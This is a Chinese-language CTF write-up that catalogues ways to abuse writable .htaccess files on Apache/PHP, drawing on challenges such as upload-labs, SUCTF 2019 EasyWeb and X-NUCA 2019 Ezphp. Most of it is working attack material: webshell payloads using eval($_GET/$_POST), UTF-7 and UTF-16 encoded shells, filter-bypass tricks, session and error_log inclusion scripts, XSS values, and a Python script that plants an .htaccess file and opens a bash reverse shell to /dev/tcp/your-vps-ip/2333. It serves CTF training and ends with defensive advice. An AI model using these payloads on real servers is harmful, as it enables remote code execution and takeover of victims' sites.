CTF中.htaccess文件的利用
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以在所在文件夹和子文件下改变php.ini的配置。
在CTF的题目中,如果能够上传或者写入一个.htaccess,我们就可以做到比如说绕过WAF,以及文件包含等操作,因为之前打羊城杯看到.htaccess的文件的利用,就想把我自己之前遇到过的各种用法总结一下。
.htaccess文件是默认开启的,如果没有启动.htaccess文件的话,需要修改配置文件httpd.conf中的以下两点:
.htaccess任意文件解析
在CTF中.htaccess文件最常用的地方就是文件上传的题目了,如果题目中使用的是黑名单机制,即限制上传php
,pthml
,pht
等后缀,我们可以使用.htaccess文件重新配置当前文件的解析后缀为其他后缀绕过导致其他后缀的文件被解析为php,就可以导致远程代码执行。
AddType
比如在upload-labs的第四关就可以使用这种方法绕过,首先是限制了php的后缀,如图所示shell.php不允许上传。

但是题目并没有限制.htaccess文件的上传,我们可以上传一个.htaccess文件内容如下:
AddType application/x-httpd-php .jpg
AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析,整句话的作用就是让jpg格式的文件解析为php文件。
上传完.htaccess文件之后再上传一个写入一句话木马的shell.jpg文件,尝试连接蚁剑。

发现已经成功连接上了,说明我们上传的.htaccess文件已经成功让jpg格式的文件解析为php了。
AddHandler
除了AddType之外还有AddHandler,例如我们想将txt文件后缀解析为php运行,可以在.htaccess中写下以下两行的其中一行。
- AddHandler php5-script .txt
- AddHandler php7-script .txt
意思是指定扩展名为 .php 的文件应被 php5-srcipt/php7-srcipt 处理器来处理。

可以看到写入前后的对比,后者成功把txt文件解析为php文件。
一般这种可以配合着其他的语句来使用,比如说[de1ctf 2020]Check in的这道题,过滤了如下黑名单:
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet
我们可以上传一个.htaccess内容如下,主要让txt文件解析为php文件,再把flag包含进来。
AddHandler p\
hp5-script .txt
p\
hp_value au\
to_append_file /flag
再上传一个1.txt就能加载/flag内容。不过这里涉及到了.htaccess的换行绕过和文件包含,下面都会提到。
SetHandler
.htaccess文件解析还有另外一种常见写法就是利用SetHandler,文件内容如下:
SetHandler application/x-httpd-php
这样所有文件都会当成php来解析,如果要指定某一个类型文件的话,可以写
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
将shell.jpg解析为php文件,同时这里可以使用正则匹配文件比如:
<FilesMatch "\.ph.*$">
SetHandler application/x-httpd-php
</FilesMatch>
就是匹配所有的.ph开头的后缀文件。
SetHandler还有一种用法就是在.htaccess写入:
SetHandler server-status
然后再访问http://ip/server-status
即可查看所有访问本站的记录,[de1ctf 2020]Check in这道题的官方wp中提到了这种方式去获取信息。
.htaccess的一些绕过
像上面的upload-labs的第四关内容中如果过滤了application
关键字,因为.htaccess支持换行编写,我们可以使用反斜杠换行绕过的方法,如
AddType appli\
cation/x-httpd-php .jpg
exif_imagetype()
的作用是读取一个图像的第一个字节并检查其签名。
比如[SUCTF 2019]EasyWeb这道题就有这个函数,关键代码如下
$tmp_name = $_FILES["file"]["tmp_name"];
if(!exif_imagetype($tmp_name)) die("^_^");
要注意的是通常我们会在上传文件中加上gif的文件头GIF89a去绕过,但是.htaccess文件用这种方法虽然能上传成功,但是无法生效。我们可以在.htaccess文件前面加上
#define 4c11f3876d494218ff327e3ca6ac824f_width xxx(大小)
#define 4c11f3876d494218ff327e3ca6ac824f_height xxx(大小)
这里的原理其实是伪造为xbm文件,xbm文件是一种图片格式的文件。

在php的官方文档中,exif_imagetype()
是可以支持xbm类型的文件的。
比如最近的羊城杯上的一道题目,其中部分代码如下:
file_put_contents($filename, $content . "\nHello, world");
这一题的思路是利用.htaccess文件把恶意代码包含进index.php里面,但是在变量$content
后面拼接了一个"\nHello, world"
,这样的话会不符合.htaccess文件的语法,导致服务器报一个500错误,这时候我们可以使用反斜杠先把\n
转义,再在加入的恶意代码前面加上一个#
注释掉后面的内容,这样的话就可以绕过"\nHello, world"
,从而使得.htaccess符合语法。
最终payload结果如下:
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\&filename=.htaccess
这里要注意的是在传参的时候都是要url编码的。
.htaccess的常见用法
首先了解一下php_value和php_flag这两个东西
这两个可以用来设置指令的值,使得在 Apache 配置文件内部修改 PHP 的配置,那么这些指令有哪些呢,比如说auto_prepend_file
,display_errors
等等,具体的话参考官方给出的:php.ini 配置选项列表
当然上面说的这两个都是可以用于.htaccess中的,同样功能的还有php_admin_value
和php_admin_flag
,但是这两个无法用于.htaccess中。
下面介绍两个最常见的用法:
特殊编码绕过
如果对文件内容进行过滤了<?
,同时版本php7已经抛弃了<script language='php'>
和<%
,使得我们无法利用php其他风格的标签去绕过。这里可以考虑在.htaccess中设置UTF-7字符或者其他字符进行绕过。
我们可以先上传一个shell.jpg内容如下:
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'cmd'+AF0)+ADs?+AD4-
第三句是经过UTF-7编码的,在线UTF-7编码:UTF-7 Encoder
我们接下来要做的就是利用.htaccess文件把他进行UTF-7解码
我们再写入一个.htaccess文件内容如下:
#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
AddType application/x-httpd-php .jpg
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
前3行在上面已经讲过,这里不再赘述。
第4行中的php_flag
,后面跟着display_errors on,本句的作用是关闭错误提示,也就是差不多相当于error_reporting(0);
第5行中的php_flag
,把zend.multibyte的值设置为1,原因是在使用 UTF-7、SJIS、BIG5 等在多字节字符串数据中包含特殊字符的字符编码是要启用zend.multibyte的,如果是UTF-8编码的话则不需要这个选项。
最后一句是关键点了,php_value
中设置了zend.script_encoding "UTF-7",本句的作用是对上传的文件进行一个UTF-7的解码。
这里我直接在本地phpstudy直接写入.htaccess和shell.jpg,测试了一下是可行的

- 要注意的是,在本地phpstudy写入.htaccess文件的话,php的版本要选择不带nts的。
在[SUCTF 2019]EasyWeb这道题里面就可以用到这个方法,但不局限于这种,在看其他师傅的writeup中,发现本题也可以通过设置utf-16be来进行绕过,这里借用一下网上的一键生成.htaccess脚本。
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
进行文件包含
在刚刚提到的php_value的指令中,也就是php.ini中有两项:
在所有页面的顶部与底部require文件
auto_prepend_file
在页面顶部加载文件
auto_append_file
在页面底部加载文件
我们可以利用这个将1.php文件包含进所有的php页面
php_value auto_prepend_file 1.php

可以看到1.php成功包含进去shell.php里面了。
这里我们甚至可以利用伪协议配合做一个编码,.htaccess如下:
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"
把shell.jpg进行base64解码后再包含进所有的php页面。

如图可以看到在1.php页面已经可以看到shell.jpg的phpinfo了。
这里以最近羊城杯的一道题目为例子,这道题的原题是X-NUCA'2019—Ezphp
。
题目的源码为:
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
这里前后有两个unlink函数,会清除该目录下除了index.php文件以外的所有文件。然后看到file_put_contents
函数。然后对filename只允许存在a-z
和.
,也就是说明无法用伪协议去做了,然后content过滤了一些关键字。
这里就可以把.htaccess文件包含进index.php文件里面,因为这里unlink没法删除.htaccess,然后在.htaccess中插入恶意代码。首先包含的是:
php_value auto_prepend_file .htaccess
这里看到stristr
函数把file关键字过滤了,我们上面已经讲了如果去绕过了,即
php_value auto_prepend_fil\
e .htaccess
然后后面拼接的\nHello, world
绕过拼接字符这个点上面也讲过了,这里不再赘述,构造payload如下:
php_value auto_prepend_fil\
e .htaccess
#<?php phpinfo();?>\
把phpinfo();
换成如下即可反弹一个shell。
system(\'bash -c "/bin/bash -i >%26 /dev/tcp/your-vps-ip/2333 0<%261"\');
一键写入文件并反弹脚本如下
import requests
url = 'http://a1ad9f70-8d0c-432f-b973-6494e65e2be6.node3.buuoj.cn/'
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/your-vps-ip/2333 0<%261"\');?>\\'
url2 = url + payload
r = requests.get(url2)
req = request.get(url)

.htaccess其他利用点
prce回溯绕过正则匹配
回溯绕过正则匹配可以参考P神的一篇文章:PHP利用PCRE回溯次数限制绕过某些安全限制
P神文章里用的是通过发送超长字符串的方式,超出了回溯次数的限制达到绕过,而这里有点不同的是.htaccess是利用将回溯次数设置为0而且绕过。
我们先看如下一段代码
<?php
$filename = 'php://filter';
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
var_dump(preg_match("/[^a-z\.]/", $filename));
}else{
echo "hello";
var_dump(preg_match("/[^a-z\.]/", $filename));
}
//Hackerint(1)
这里的正则只匹配a-z
以及.
组成的的变量,而我给变量赋值了php://filter
,很明显输出了Hacker。但是当我们写入.htaccess就会发生一些有趣的事情了。
.htaccess文件内容如下:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
这里是通过php_value设置正则回朔次数,然后再看返回的结果:

和P神文章说的一样发现preg_match返回了布尔值False,这样就可以达到绕过这个正则。
在前面说的X-NUCA'2019—Ezphp
这个题目中,就是因为正则的限制导致我们不能够写php://filter
伪协议,然后我们通过这种回溯绕过的方法,就可以用这种绕过这个正则,利用伪协议去写一个shell了。用伪协议写shell的payload如下:
?filename=php://filter/write=convert.base64decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
至于伪协议写shell的各种骚操作可以参考P神:谈一谈php://filter的妙用,这里就不再赘述了。
error_log生成shell
个人感觉这种思路有点像mysql日志写shell,他首先是通过php的配置选项中的error_log可以将php运行报错的记录写到指定文件中,然后如果有include_once
这种包含的函数去包含一个不存在的文件,就会导致报错导致在你指定的目录下生成文件。然后在include_path
中写入恶意的代码,这个代码就会出现在刚刚生成的文件当中。
- 但是千万要注意的一点是:写进error_log的内容会被html编码
我们可以采用上面刚刚讲过的utf7编码即可绕过。
比如在index.php写入如下代码
<?php
include_once("fl3g.php");
$content = $_GET['content'];
$filename = $_GET['filename'];
file_put_contents($filename, $content . "\nJust one chance");
?>
然后写入.htaccess文件,内容如下:
php_value error_log D:\phpStudy\PHPTutorial\WWW\tmp\fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[cmd])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
这里第二行error_reporting 32767
的意思是设置报告级别为32767,使得报告出所有可能出现的错误,确保我们可以写入木马。
我们将其url编码传参写入,然后会报错一些错。

我们再回头看看我们文件里面生成了什么

可以发现在tmp目录已经成功生成了fl3g.php文件,并写入了我们之前在include_path
设置的内容。但是还有一个问题就是要将里面的内容进行UTF-7解码,这里就很简单了,直接再上传一个.htaccess内容如下:
php_value include_path "D:\phpStudy\PHPTutorial\WWW\tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
并给cmd传参phpinfo();
,成功利用。

这种方式是X-NUCA'2019—Ezphp
这道题目的正解,该题解题方式和上面的利用一样,这里还是给一下解题的过程吧。
通过error_log配合include_path在tmp目录生成shell
.htaccess文件如下
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[cmd])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
通过include_path和utf7编码执行shell
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
再访问并给参数1传参(注意要URL编码):

.htaccess解析shell
利用条件:把http.conf中LoadModule cgi_module modules/mod_cgi.so前面的#
要去掉。
也就是要加载cgi_module
这个模块,我们可以在.htaccess写入
Options ExecCGI
AddHandler cgi-script .sh
第一行表示允许CGI执行,第二行表示将sh后缀名的文件,当做CGI程序进行解析。
我们写入一个1.sh文件内容如下
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
在没添加.htaccess之前,访问是不能够被解析的

加上上面的.htaccess文件之后再次访问

可以看到虽然报了一个错误,但是shell脚本已经成功运行打开了calc.exe
还有另外一种差不多方式就是FastCGI
开启的条件是把LoadModule fcgid_module modules/mod_fcgid.so前面的#
去掉。
同样上传.htaccess,内容如下
Options +ExecCGI
AddHandler fcgid-script .sh
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe" .sh
再访问http://127.0.0.1/1.sh
,1.sh内容随意,同样可以弹出计算器。
在DelCTF2020中的Check In中同样可以用这种方法解题,顺便说一下这种方法才是预期解,其他换行绕过的都是非预期。先上传一个.htaccess文件如下
Options ExecCGI
AddHandler cgi-script .abc
再上传一个1.abc文件内容如下:
#!/bin/bash
echo Content-type:text/html
echo ""
cat /flag
就可以顺利执行cat /flag
了。
session文件包含写shell
这种用法的原理是利用session.upload_progress
将恶意语句写入session文件,再利用包含漏洞去包含我们刚刚生成的session文件,这里可以参考这篇文章:利用session.upload_progress进行文件包含和反序列化渗透,这篇文章利用的是条件竞争的方式,那么我们如何将这种方法利用到.htaccess中呢。
- 通过设置
session.save_path
指定存储路径
- 将
session.upload_progress.cleanup
设置为off
- 再利用
auto_append_file
把文件包含到我们的页面当中
我们写一个.htaccess文件如下
php_value auto_append_file "D:\phpStudy\PHPTutorial\WWW\tmp\sess_kawhi"
php_value session.save_path "D:\phpStudy\PHPTutorial\WWW\tmp"
php_flag session.upload_progress.cleanup off
然后再设置PHPSESSID的值和PHP_SESSION_UPLOAD_PROGRESS的值,这两个值都是可控的,其中PHP_SESSION_UPLOAD_PROGRESS会储存进度信息,也就是我们写入payload的地方。
我们再写一个1.php,内容随意。
然后直接通过python的requests模块写一个脚本
import requests
url='http://127.0.0.1/1.php'
r = requests.session()
headers={
"Cookie":'PHPSESSID=kawhi'
}
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
}
r.post(url,files=files,headers=headers,data=data)
t = r.get('http://127.0.0.1/1.php',headers=headers)
print(t.text)
运行结果如下

可以看到生成了sess_kawhi
文件,同时system('whoami')
的命令成功被执行了。
.htaccess造成xss
在index.php中加入phpinfo();
,修改.htaccess内容为如下四种其中之一即可进行弹窗。这点在CTF中没遇到过,看师傅们的博客学到的,提及一下。
php_value highlight.html '"><script>alert(1);</script>'
php_value highlight.default '"><script>alert(1);</script>'
php_value highlight.keyword '"><script>alert(1);</script>'
php_value highlight.string '"><script>alert(1);</script>'

总结
总的来说,在CTF题目中如果.htaccess是可控的,那么我们就可以想到利用他来做一点什么,用法也灵活多变,具体看题目,而这同时也侧面说明了我们在现实开发环境中,.htaccess是非常危险的,应该尽量避免使用.htaccess文件,例如禁止上传.htaccess,或者直接把AllowOverride这一选项修改为AllowOverride None。
参考链接
深究用户利用.htaccess的原理篡改配置导致的安全问题
Apache中.htaccess文件利用的总结与新思路拓展
.htaccess利用与Bypass方式总结
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp